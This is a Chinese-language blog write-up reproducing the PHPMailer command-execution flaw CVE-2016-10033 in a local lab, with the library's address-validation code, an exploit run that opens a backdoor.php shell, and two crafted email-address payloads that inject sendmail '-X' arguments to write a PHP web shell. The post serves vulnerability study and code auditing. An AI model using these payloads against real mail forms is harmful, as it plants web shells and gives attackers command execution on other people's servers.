1. 程式人生 > 其它 >PHPMailer 命令執行漏洞(CVE-2016-10033)復現

PHPMailer 命令執行漏洞(CVE-2016-10033)復現

前言

PHPMailer沒有聽過,比較好奇,最近正好在學習PHP程式碼審計,所以來複現這個CVE,學習點新東西。

漏洞簡介

PHPMailer是一個基於PHP語言的郵件傳送元件,被廣泛運用於諸如WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等使用者量巨大的應用與框架中。

CVE-2016-10033是PHPMailer中存在的高危安全漏洞,攻擊者只需巧妙地構造出一個惡意郵箱地址,即可寫入任意檔案,造成遠端命令執行的危害。

使用它可以更加便捷的傳送郵件,並且還能傳送附件和 HTML 格式的郵件,同時還能使用 SMTP 伺服器來發送郵件。

很巧,又是元件問題,看看最近的log4j吧,,,,鯊瘋了。。

影響版本

PHPMailer < 5.2.18

漏洞復現

漏洞環境

復現地址https://github.com/opsxcq/exploit-CVE-2016-10033

搭建完成效果

漏洞利用

./exp.sh host:port

等待2分鐘左右,即可建立後面成功,並且拿到shell

./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> id
[+] Running id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RemoteShell>

漏洞分析

漏洞原理:

PHP通過mail函式傳送郵件

mail(to,subject,message,headers,parameters) 
# PHP mail() 函式用於從指令碼中傳送電子郵件。
# 第五個引數可選的,而問題就出這個引數。

mail函式最終是呼叫的系統的sendmail進行郵件傳送,而sendmail支援-X引數,通過這個引數(第五個引數)可以將日誌寫入指定檔案。可以寫檔案,當然就可以寫shell,造成RCE了。

sendmail使用指南,更多引數使用。

跟蹤mail函式

回溯找params變數

$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}

回溯Sender,需要經過validateAddress()過濾

      // Validate From, Sender, and ConfirmReadingTo addresses
foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
$this->$address_kind = trim($this->$address_kind);
if (empty($this->$address_kind)) {
continue;
}
$this->$address_kind = $this->punyencodeAddress($this->$address_kind);
if (!$this->validateAddress($this->$address_kind)) {
$error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
}

看看validateAddress函式

public static function validateAddress($address, $patternselect = null)
{
if (is_null($patternselect)) {
$patternselect = self::$validator;
}
if (is_callable($patternselect)) {
return call_user_func($patternselect, $address);
}
//Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
return false;
}
if (!$patternselect or $patternselect == 'auto') {
//Check this constant first so it works when extension_loaded() is disabled by safe mode
//Constant was added in PHP 5.2.4
if (defined('PCRE_VERSION')) {
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
$patternselect = 'pcre8';
} else {
$patternselect = 'pcre';
}
} elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
//Fall back to older PCRE
$patternselect = 'pcre';
} else {
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
$patternselect = 'php';
} else {
$patternselect = 'noregex';
}
}
}
switch ($patternselect) {
case 'pcre8':
/**
* Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
* @link http://squiloople.com/2009/12/20/email-address-validation/
* @copyright 2009-2010 Michael Rushton
* Feel free to use and redistribute this code. But please keep this copyright notice.
*/
return (boolean)preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
case 'pcre':
//An older regex that doesn't need a recent PCRE
return (boolean)preg_match(
'/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
'[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
'(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
'@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
'(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
'::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
'::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
$address
);
case 'html5':
/**
* This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
* @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
*/
return (boolean)preg_match(
'/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
$address
);
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
case 'php':
default:
return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
}
}

程式碼邏輯

  1. 預設patternselect==‘auto’,它會自動選擇一個方式對email進行檢測

  2. 如果php支援正則PCRE(也就是包含preg_replace函式),就用正則的方式來檢查,就是那一大串很難讀懂的正則

  3. 如果php不支援PCRE,且PHP版本大於PHP5.2.0,就是用PHP自帶的filter來檢查email

  4. 如果php不支援PCRE,且PHP版本低於PHP5.2.0,就直接檢查email中是否包含@且不是最後一個字元,長度還需要大於3

如果滿足邏輯4的條件,構造惡意字元,繞過檢測即可

可以參考https://github.com/opsxcq/exploit-CVE-2016-10033

但是如果無法php版本比較高,無法滿足邏輯4,怎麼辦呢?

繞正則!!!

'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD'

看不懂,先跳過,之後再出分析正則的文章吧.

直接上師傅的payload1:

"<?system($_GET['pew']);?>". -OQueueDirectory=/tmp/. -X./images/zwned.php @swehack.org

# -OQueueDirectory=/tmp/ :設定了排列資訊的地址
# -X:日誌檔案的地址
# 用於繞過的字串

payload2:

aaa( -X/home/www/success.php )@qq.com
# 有點看不懂,官方解釋:@前面,如果加上括號,將可以引入空格

總結

學習了元件PHPMailer和mail函式,收穫很多(元件漏洞值得重視。。。

下期看看這個正則分析。

參考

https://github.com/opsxcq/exploit-CVE-2016-10033

https://blog.chaitin.cn/phpmailer-cve-2016-10033/

https://paper.seebug.org/161/

本文來自部落格園,作者:OutBxx,轉載請註明原文連結:https://www.cnblogs.com/OutBxx/p/15684497.html